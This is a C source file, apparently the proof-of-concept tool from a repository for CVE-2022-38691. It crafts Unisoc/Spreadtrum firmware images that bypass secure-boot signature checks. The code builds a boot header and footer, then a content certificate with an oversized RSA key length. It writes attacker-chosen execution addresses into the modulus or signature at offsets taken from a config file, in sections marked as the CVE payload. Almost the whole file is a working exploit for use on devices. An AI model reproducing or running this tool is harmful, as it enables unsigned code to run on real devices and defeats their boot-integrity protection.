README.md
README.md not found for CVE-2022-38691. The file may not exist in the repository.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "mincrypt/sha256.h"
#define TRUE 1
#define FALSE 0
typedef struct {
uint32_t mMagicNum; // "BTHD"=="0x42544844"=="boothead"
uint32_t mVersion; // 1
uint8_t mPayloadHash[32]; // sha256 hash value
uint64_t mImgAddr; // image loaded address
uint32_t mImgSize; // image size
uint32_t is_packed; // packed image flag 0:false 1:true
uint32_t mFirmwareSize; // runtime firmware size
uint8_t reserved[452]; // 452 + 15*4 = 512
} sys_img_header;
#define MAGIC_SIZE 8
typedef struct sprdsignedimageheader {
/* Magic number */
uint8_t magic[MAGIC_SIZE];
/* Version of this header format */
uint32_t header_version_major;
/* Version of this header format */
uint32_t header_version_minor;
/*image body, plain or cipher text */
uint64_t payload_size;
uint64_t payload_offset;
/*offset from itself start */
/*content certification size,if 0,ignore */
uint64_t cert_size;
uint64_t cert_offset;
/*(opt)private content size,if 0,ignore */
uint64_t priv_size;
uint64_t priv_offset;
/*(opt)debug/rma certification primary size,if 0,ignore */
uint64_t cert_dbg_prim_size;
uint64_t cert_dbg_prim_offset;
/*(opt)debug/rma certification second size,if 0,ignore */
uint64_t cert_dbg_developer_size;
uint64_t cert_dbg_developer_offset;
} sprdsignedimageheader;
#define RSA_KEY_BYTE_LEN_MAX 0x100
typedef struct sprd_rsapubkey {
uint32_t keybit_len; //1024/2048,max 2048
uint32_t e;
uint8_t mod[RSA_KEY_BYTE_LEN_MAX];
} sprd_rsapubkey;
#define HASH_BYTE_LEN 32
typedef struct sprd_contentcert {
uint32_t certtype; //0:content cert
sprd_rsapubkey pubkey; //pubkey for this cert, to verify signature in this cert
uint8_t hash_data[HASH_BYTE_LEN]; //hash of image component
uint32_t type;
uint32_t version;
uint8_t signature[RSA_KEY_BYTE_LEN_MAX]; //signature of hash_data
} sprd_contentcert;
void do_sha256(uint8_t* data, int bytes_num, unsigned char* hash)
{
SHA256_CTX ctx;
const uint8_t* sha;
SHA256_init(&ctx);
SHA256_update(&ctx, data, bytes_num);
sha = SHA256_final(&ctx);
memcpy(hash, sha, SHA256_DIGEST_SIZE);
}
static uint8_t* loadfile(const char* fn, size_t* num, size_t extra) {
size_t n, j = 0; uint8_t* buf = 0;
FILE* fi = fopen(fn, "rb");
if (fi) {
fseek(fi, 0, SEEK_END);
n = ftell(fi);
if (n) {
fseek(fi, 0, SEEK_SET);
buf = (uint8_t*)malloc(n + extra);
if (buf) j = fread(buf, 1, n, fi);
}
fclose(fi);
}
if (extra) memset(&buf[n], 0, extra);
if (num) *num = j;
return buf;
}
enum ITEM_ID {
ID_MIN = 0,
ANTI_ROLLBACK_VERSION = ID_MIN,
EXECUTE_ADDR,
G_N_ADDR,
G_SIG_ADDR,
MEM_USAGE,
ID_MAX = MEM_USAGE
};
#define LIST_MAX 20
typedef struct _ITEM_CFG { /* Information of every item */
uint32_t id;
char str[20];
uint64_t num;
} ITEM_CFG;
static ITEM_CFG cfg[LIST_MAX];
static uint32_t item_num = 0;
static int _get_cfg(char* cfg_p)
{
char line[512];
uint32_t i = 0;
FILE* cfg_fd;
if (!(cfg_fd = fopen(cfg_p, "r"))) {
printf("open cfg file error\n");
return FALSE;
}
memset(cfg, 0, sizeof(cfg));
item_num = 0;
while (fgets(line, sizeof(line), cfg_fd)) {
if (line[0] == '#' || line[0] == '\0') {
continue;
}
if (-1 == sscanf(line, "%d %s", &cfg[i].id, cfg[i].str)
) {
continue;
}
cfg[i].num = strtoull(cfg[i].str, NULL, 0);
printf("%d\t0x%llx\t\n", cfg[i].id, cfg[i].num);
i++;
item_num++;
if (LIST_MAX <= i) {
printf(" Max support %d item, this config has too many item!!!\n", LIST_MAX);
fclose(cfg_fd);
return FALSE;
}
}
fclose(cfg_fd);
return TRUE;
}
#define ERR_EXIT(...) \
do { fprintf(stderr, __VA_ARGS__); exit(1); } while (0)
#define WRITE32_BE(p, a) do { \
((uint8_t*)(p))[0] = (a) >> 24; \
((uint8_t*)(p))[1] = (a) >> 16; \
((uint8_t*)(p))[2] = (a) >> 8; \
((uint8_t*)(p))[3] = (uint8_t)(a); \
} while (0)
int main(int argc, char** argv)
{
if (argc < 3) ERR_EXIT("Usage: %s <cfg> <filename>\n", argv[0]);
if (!_get_cfg(argv[1]))
{
printf("Read cfg file error !\n");
return 1;
}
if (!cfg[G_N_ADDR].num && !cfg[G_SIG_ADDR].num) ERR_EXIT("g_n/g_sig cfg error\n");
char* filename = argv[2];
uint8_t* mem; size_t size = 0;
mem = loadfile(filename, &size, 16);
uint8_t* mem0 = mem;
if (!mem) ERR_EXIT("loadfile(\"%s\") failed\n", filename);
if (remove(filename)) ERR_EXIT("Failed to delete the file.\n");
printf("file size: 0x%zx\n", size);
int raw = 1;
size = (size + 15) & 0xFFFFFFF0;
if (*(uint32_t*)mem == 0x42544844) {
if (!(*(uint32_t*)&mem[0x30])) ERR_EXIT("broken sprd trusted firmware\n");
raw = 0;
size = *(uint32_t*)&mem[0x30];
}
printf("payload size: 0x%zx\n", size);
FILE* file = fopen(filename, "wb");
if (file == NULL) ERR_EXIT("Failed to create the file.\n");
//HEADER
sys_img_header img_h;
memset(&img_h, 0, 0x200);
img_h.mMagicNum = 0x42544844;
img_h.mVersion = 1;
img_h.mImgSize = size;
if (0x200 != fwrite(&img_h, sizeof(unsigned char), 0x200, file)) ERR_EXIT("Failed to write the header.\n");
if (!raw) mem += 0x200;
if (size != fwrite(mem, sizeof(unsigned char), size, file)) ERR_EXIT("Failed to write payload.\n");
//FOOTER
sprdsignedimageheader img_f;
memset(&img_f, 0, 0x60);
img_f.payload_size = size;
img_f.payload_offset = 0x200;
img_f.cert_size = sizeof(sprd_contentcert);
img_f.cert_offset = size + 0x200 + 0x60;
if (0x60 != fwrite(&img_f, sizeof(unsigned char), 0x60, file)) ERR_EXIT("Failed to write the footer.\n");
//cve part1
int maxnumid = ID_MAX + 1;
int minnumid = ID_MAX + 1;
for (int i = ID_MAX + 2; i < item_num; i++)
{
if (cfg[maxnumid].num < cfg[i].num)
{
maxnumid = i;
}
if (cfg[minnumid].num > cfg[i].num)
{
minnumid = i;
}
}
int length_needed = cfg[maxnumid].num - cfg[minnumid].num;
if (cfg[G_N_ADDR].num)
{
if((length_needed - (2 * RSA_KEY_BYTE_LEN_MAX + HASH_BYTE_LEN)) >= 0) length_needed += 0x1C;
else length_needed = sizeof(sprd_contentcert);
}
else
{
length_needed = (length_needed > (RSA_KEY_BYTE_LEN_MAX - 0x10)) ? (length_needed + 0x144) : sizeof(sprd_contentcert);
}
//cert
sprd_contentcert* img_cert = (sprd_contentcert*)malloc(length_needed);
memset(img_cert, 0, length_needed);
img_cert->certtype = 0;
img_cert->pubkey.e = 0x01000100;
do_sha256(mem, size, &img_cert->hash_data[0]);
img_cert->type = 1;
img_cert->version = cfg[ANTI_ROLLBACK_VERSION].num;
if (!raw)
{
uint32_t version_in_file = 0;
if(*(uint32_t*)&mem[size + 0x60] == 0) version_in_file = *(uint32_t*)&mem[size + 0x190];
else if(*(uint32_t*)&mem[size + 0x60] == 1) version_in_file = *(uint32_t*)&mem[size + 0x1B0];
if (img_cert->version < version_in_file) img_cert->version = version_in_file;
}
//cve part2
if (cfg[G_N_ADDR].num)
{
img_cert->pubkey.keybit_len = (cfg[maxnumid].num + 8 - cfg[G_N_ADDR].num) * 8;
printf("using G_N_ADDR\n");
}
else
{
img_cert->pubkey.keybit_len = (cfg[maxnumid].num + 8 - cfg[G_SIG_ADDR].num) * 8;
printf("using G_SIG_ADDR\n");
}
printf("keybit len: 0x%x\n", img_cert->pubkey.keybit_len);
for (int i = ID_MAX + 1; i < item_num; i++)
{
int extra = 0;
if (cfg[G_N_ADDR].num) {
if ((cfg[maxnumid].num - cfg[i].num > RSA_KEY_BYTE_LEN_MAX - 0x10) && (cfg[maxnumid].num - cfg[i].num < RSA_KEY_BYTE_LEN_MAX + HASH_BYTE_LEN + 0x10))
{
//overflow here will break img_cert.hash_data or img_cert.type or img_cert.version
printf("0x%llx skiped due to pubkey.n overflow\n", cfg[i].num);
continue;
}
if (cfg[EXECUTE_ADDR].num == 0x5700 && cfg[maxnumid].num - cfg[i].num > 2 * RSA_KEY_BYTE_LEN_MAX + HASH_BYTE_LEN) extra = 0x3B0;
WRITE32_BE((char*)&img_cert->pubkey.mod + 4 + cfg[maxnumid].num - cfg[i].num, cfg[EXECUTE_ADDR].num);
WRITE32_BE((char*)&img_cert->pubkey.mod + 4 + cfg[maxnumid].num - cfg[i].num + 8, cfg[i].num - 8 + cfg[MEM_USAGE].num + extra);
}
else
{
if (cfg[EXECUTE_ADDR].num == 0x5700 && cfg[maxnumid].num - cfg[i].num > RSA_KEY_BYTE_LEN_MAX - 0x10) extra = 0x3B0;
WRITE32_BE((char*)&img_cert->signature + 4 + cfg[maxnumid].num - cfg[i].num, cfg[EXECUTE_ADDR].num);
WRITE32_BE((char*)&img_cert->signature + 4 + cfg[maxnumid].num - cfg[i].num + 8, cfg[i].num - 8 + cfg[MEM_USAGE].num + extra);
}
}
if (length_needed != fwrite(img_cert, sizeof(unsigned char), length_needed, file)) ERR_EXIT("Failed to write cert.\n");
free(img_cert);
fclose(file);
free(mem0);
return 0;
}